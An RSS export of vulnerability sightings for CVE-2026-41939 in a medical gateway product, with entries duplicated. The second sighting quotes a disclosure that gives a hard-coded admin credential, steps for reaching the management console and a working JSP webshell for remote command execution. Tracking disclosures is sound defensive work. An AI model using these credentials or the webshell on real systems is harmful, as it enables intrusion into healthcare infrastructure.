https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Thu, 13 Aug 2026 17:12:37 +0000 https://vulnerability.circl.lu/sighting/2dec1751-33ee-473c-820a-4fd990b65720/export {"uuid": "2dec1751-33ee-473c-820a-4fd990b65720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrslmpdake2k", "content": "CVE-2026-41939\nA security flaw in Care Everywhere Gateway 14.3.10 allows anyone to access the system's administration tools without a password. This is a concern because it could allow unauthorized access to the system. If\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T18:48:06.044288Z"} {"uuid": "2dec1751-33ee-473c-820a-4fd990b65720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrslmpdake2k", "content": "CVE-2026-41939\nA security flaw in Care Everywhere Gateway 14.3.10 allows anyone to access the system's administration tools without a password. This is a concern because it could allow unauthorized access to the system. If\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T18:48:06.044288Z"} https://vulnerability.circl.lu/sighting/2dec1751-33ee-473c-820a-4fd990b65720/export Wed, 29 Jul 2026 18:48:06 +0000 https://vulnerability.circl.lu/sighting/3e85b32a-619c-4a82-9471-76e817595aad/export {"uuid": "3e85b32a-619c-4a82-9471-76e817595aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://gist.github.com/VAMorales/95874f23e27e17362b87133013834c0a", "content": "# 1. Exploit Title: Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly\n## Disclosure Date: 07/29/2026\n## CVE ID: [CVE-2026-41939](https://www.cve.org/cverecord?id=CVE-2026-41939)\n## Exploit Authors: Victor A. Morales of GM Sectec, Corp.\n## Vendor Homepage: https://www.intuvie.com/products-overview\n## Known Affected Versions: 14.3.10 (other prior versions may be vulnerable)\n\n### Description\nCare Everywhere Gateway runs on WildFly webserver on ports 20080 and 20043. The JBOSS Management Console is exposed by default on port 20990.\nHardcoded hashed credentials for the CEAdmin account are found in the location:\n`E:\\AppServers\\wildfly-8.2.0.Final\\standalone\\configuration\\mgmt-users.properties`\n\nThe password hash can be cracked to: l0g1nnatick\n\n### Proof-of-Concept\n\nNavigate to `http://:20990/console/App.html` and login with the credentials CEAdmin:l0g1nnatick.\n\nGo to the **Administration** section, upload and deploy a malicious Web Application Resource (WAR) file.\n\nWebshell used: index.jsp\n```jsp\n\n <%@ page import=\"java.io.*\" %> <% String cmd = request.getParameter(\"cmd\"); String output = \"\"; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+\"\"; } } catch(IOException e) { e.printStackTrace(); } } %> \n<%=output %>\n```", "creation_timestamp": "2026-07-29T17:13:53.438507Z"} {"uuid": "3e85b32a-619c-4a82-9471-76e817595aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://gist.github.com/VAMorales/95874f23e27e17362b87133013834c0a", "content": "# 1. Exploit Title: Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly\n## Disclosure Date: 07/29/2026\n## CVE ID: [CVE-2026-41939](https://www.cve.org/cverecord?id=CVE-2026-41939)\n## Exploit Authors: Victor A. Morales of GM Sectec, Corp.\n## Vendor Homepage: https://www.intuvie.com/products-overview\n## Known Affected Versions: 14.3.10 (other prior versions may be vulnerable)\n\n### Description\nCare Everywhere Gateway runs on WildFly webserver on ports 20080 and 20043. The JBOSS Management Console is exposed by default on port 20990.\nHardcoded hashed credentials for the CEAdmin account are found in the location:\n`E:\\AppServers\\wildfly-8.2.0.Final\\standalone\\configuration\\mgmt-users.properties`\n\nThe password hash can be cracked to: l0g1nnatick\n\n### Proof-of-Concept\n\nNavigate to `http://:20990/console/App.html` and login with the credentials CEAdmin:l0g1nnatick.\n\nGo to the **Administration** section, upload and deploy a malicious Web Application Resource (WAR) file.\n\nWebshell used: index.jsp\n```jsp\n\n <%@ page import=\"java.io.*\" %> <% String cmd = request.getParameter(\"cmd\"); String output = \"\"; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+\"\"; } } catch(IOException e) { e.printStackTrace(); } } %> \n<%=output %>\n```", "creation_timestamp": "2026-07-29T17:13:53.438507Z"} https://vulnerability.circl.lu/sighting/3e85b32a-619c-4a82-9471-76e817595aad/export Wed, 29 Jul 2026 17:13:53 +0000